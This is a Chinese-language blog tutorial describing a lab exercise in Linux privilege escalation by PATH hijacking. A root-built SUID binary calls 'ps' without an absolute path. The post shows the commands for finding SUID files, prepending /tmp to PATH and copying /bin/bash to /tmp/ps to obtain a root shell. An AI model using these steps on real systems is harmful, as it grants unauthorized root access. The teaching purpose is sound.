首页 > 其他分享 >环境变量提权实验

环境变量提权实验

时间:2024-11-12 21:59:13浏览次数:1  
标签:执行 00 shell ps 提权 实验 权限 环境变量

环境变量提权

PATH是Linux和Unix操作系统中的环境变量,它指定所有存储可执行程序的bin和sbin目录。

当用户在终端中执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。

超级用户通常还具有/sbin/usr/sbin目录,以便系统管理命令的执行。

环境变量的执行优先级是从前向后查询的,所以当前后两个目录拥有同名命令时,只会执行前面目录中的命令。

环境搭建

以root用户搭建模拟环境。

编辑c语言脚本

vim shell.c
#include <unistd.h>
void main(){
	setuid(0);
	setgid(0);
	system("ps");
}

脚本意思:以root权限执行ps命令。

编译c语言脚本

gcc shell.c -o shell #编译shell.c文件,编译后的文件名称为shell

添加SUID权限

说明:部分脚本可能会出现一些命令必须使用root权限来执行的情况。但是管理比较严格的公司不允许随便使用root权限来管理服务器,就会导致普通用户创建的文件会出现无法执行的情况。这时就会使用root用户给文件添加一个SUID权限,来使得脚本在执行时默认使用root权限来执行。

chmod +s shell  #给shell文件添加SUID权限

同时将该文件移动到/tmp路径下。

mv shell /temp/

提权操作

切换回普通用户。

查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null
  • find:搜索符合条件的文件或目录。
  • /:从根目录开始搜索。
  • -perm:用于指定权限条件;
    • -u=s:表示搜索设置了用户ID(SUID)位的文件。
  • -type:用于指定文件类型;
    • f:表示搜索普通文件。
  • 2:标准错误输出(stderr,文件描述符为2);
    • >/dev/null重定向到/dev/null,是一个特殊的设备文件,也被称为“空设备”、“黑洞”,写入的文件都会被系统丢弃,永远无法找回。

综上所述,该命令的作用是在整个文件系统中搜索具有SUID权限的普通文件,并忽略因权限问题而产生的错误消息。

image-20241112214609220

发现一个shell文件,在tmp路径下。

  • 拥有SUID权限
  • 在普通用户权限路径下

尝试执行搜索到的脚本

┌──(root㉿kali)-[/]
└─# ./tmp/shell
    PID TTY          TIME CMD
  10816 pts/0    00:00:00 su
  10833 pts/0    00:00:01 zsh
  16860 pts/0    00:00:00 shell
  16861 pts/0    00:00:00 sh
  16862 pts/0    00:00:00 ps

发现脚本是执行ps命令。

找找是否存在相关源码(shell.c),或者为了避免脚本影响一些服务,可以将其进行反编译查看里面是什么内容。

查看脚本源码

image-20241112214708831

分析环境变量

默认情况下执行ps是执行/bin/ps,同时这里设定的ps并不是通过绝对路径来执行的,而是通过环境变量执行的。此时可以考虑对环境变量进行劫持。

查看环境变量

echo $PATH

image-20241112214755280

劫持环境变量

提权需要用到bash,所以需要

  • /bin/bash复制到环境变量第一个目录下
  • 且改名为脚本中对应的ps以便bash会被以管理员权限执行。

将任意目录添加到环境变量第一位

export PATH=路径:$PATH  #从头添加
export PATH=$PATH:路径  #从尾添加
export PATH=/tmp:$PATH  #将tmp目录添加为环境目录的第一位

image-20241112214835039

将改名后的bash放在第一个环境目录下

cp /bin/bash /tmp/ps

执行脚本

./shel

image-20241112220219297

总结

整体的原因就是由于开始管理员给予shell就是SUID权限,同时shell是一个执行脚本,通过对其反编译或者寻找源码,来判断脚本里面所调用的命令是什么。然后根据这个命令将bash修改成对应的命令名称,同时添加环境变量,根据环境变量的特性,让其优先寻找到我们将bash修改后的命令名称,让其执行的ps命令成为执行bash。而shell恰巧是SUID权限也就是root权限执行,那么root权限去执行bash就能够进行提权

标签:执行,00,shell,ps,提权,实验,权限,环境变量
From: https://www.cnblogs.com/yxrd/p/18542735

相关文章

  • 数据采集实验四
    作业一(1)实验内容要求熟练掌握Selenium查找HTML元素、爬取Ajax网页数据、等待HTML元素等内容。使用Selenium框架+MySQL数据库存储技术路线爬取“沪深A股”、“上证A股”、“深证A股”3个板块的股票数据信息。候选网站东方财富网输出信息MYSQL......
  • MIT 操作系统实验问题记录
    Linux连接vscodeRemote-SSH设置:在实验环境搭建时只用官网提供的是不够的还需要安装在gitpush到远程仓库的过程中由于clone时用的是url=git://g.csail.mit.edu/xv6-labs-2020这个所以得创建一个新的分支来向远程仓库pushgitremoteaddgiteehttps://gitee.com/zhang......
  • C++ 中环境变量获取,动态库环境变量的传递
    C++中环境变量获取,动态库环境变量的传递在实践中,考虑最好还是使用getenv()函数来取得相关的环境变量.C/C++获取系统环境变量,其实是很简单的.函数名:getenv功能:从环境中取字符串,获取环境变量的值头文件:stdlib.h用法:char*getenv(char*envvar);getenv()用来取......
  • C++数据结构实验题目解析
    目录题目:考点分析:难点1:就地逆置步骤:代码实现:核心代码详细解释:难点2:①非递减链表,②删除相同元素代码详解①:代码详解②:完整代码:大家好,今天我就来给大家分析一下我上期分享的题目的详细解析,编程的能力都是逐步提升的,但是思维的锻炼可以提前进行,这样有助于我们以后自......
  • 实验05多重循环---7-08 幸运彩票
    彩票的号码有6位数字,若一张彩票的前3位上的数之和等于后3位上的数之和,则称这张彩票是幸运的。本题就请你判断给定的彩票是不是幸运的。输入格式:输入在第一行中给出一个正整数N(≤100)。随后N行,每行给出一张彩票的6位数字。输出格式:对每张彩票,如果它是幸运的,就......
  • 20222301 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1.实验内容(1)从www.besti.edu.cn、baidu.com、sina.com.cn中选择一个DNS域名进行查询,获取如下信息:①DNS注册人及联系方式②该域名对应IP地址③IP地址注册人及联系方式④IP地址所在国家、城市和具体地理位置(2)尝试获取BBS、论坛、QQ、MSN中某一好友的IP地址,并查询获取该好友所......
  • 实验3
    任务1button.hpp1#pragmaonce23#include<iostream>4#include<string>56usingstd::string;7usingstd::cout;89//按钮类10classButton{11public:12Button(conststring&text);13stringget_label()const;14......
  • 实验3 类和对象_基础编程2
    实验任务1:代码:button.hpp1#pragmaonce23#include<iostream>4#include<string>56usingstd::string;7usingstd::cout;89//按钮类10classButton{11public:12Button(conststring&text);13stringget_label()co......
  • 实验3 类和对象_基础编程2
    实验3类和对象_基础编程2实验任务1button.hpp//button.hpp#pragmaonce#include<iostream>#include<string>usingstd::cout;usingstd::string;//按钮类classButton{public:Button(conststring&text);stringget_label()const;voidclick(......
  • 内存管理-42-man mlock翻译与实验
    一、manmlock翻译1.NAME mlock、mlock2、munlock、mlockall、munlockall-锁定和解锁内存2.SYNOPSIS#include<sys/mman.h>intmlock(constvoid*addr,size_tlen);intmlock2(constvoid*addr,size_tlen,intflags);intmunlock(constvoid*addr,size_tlen......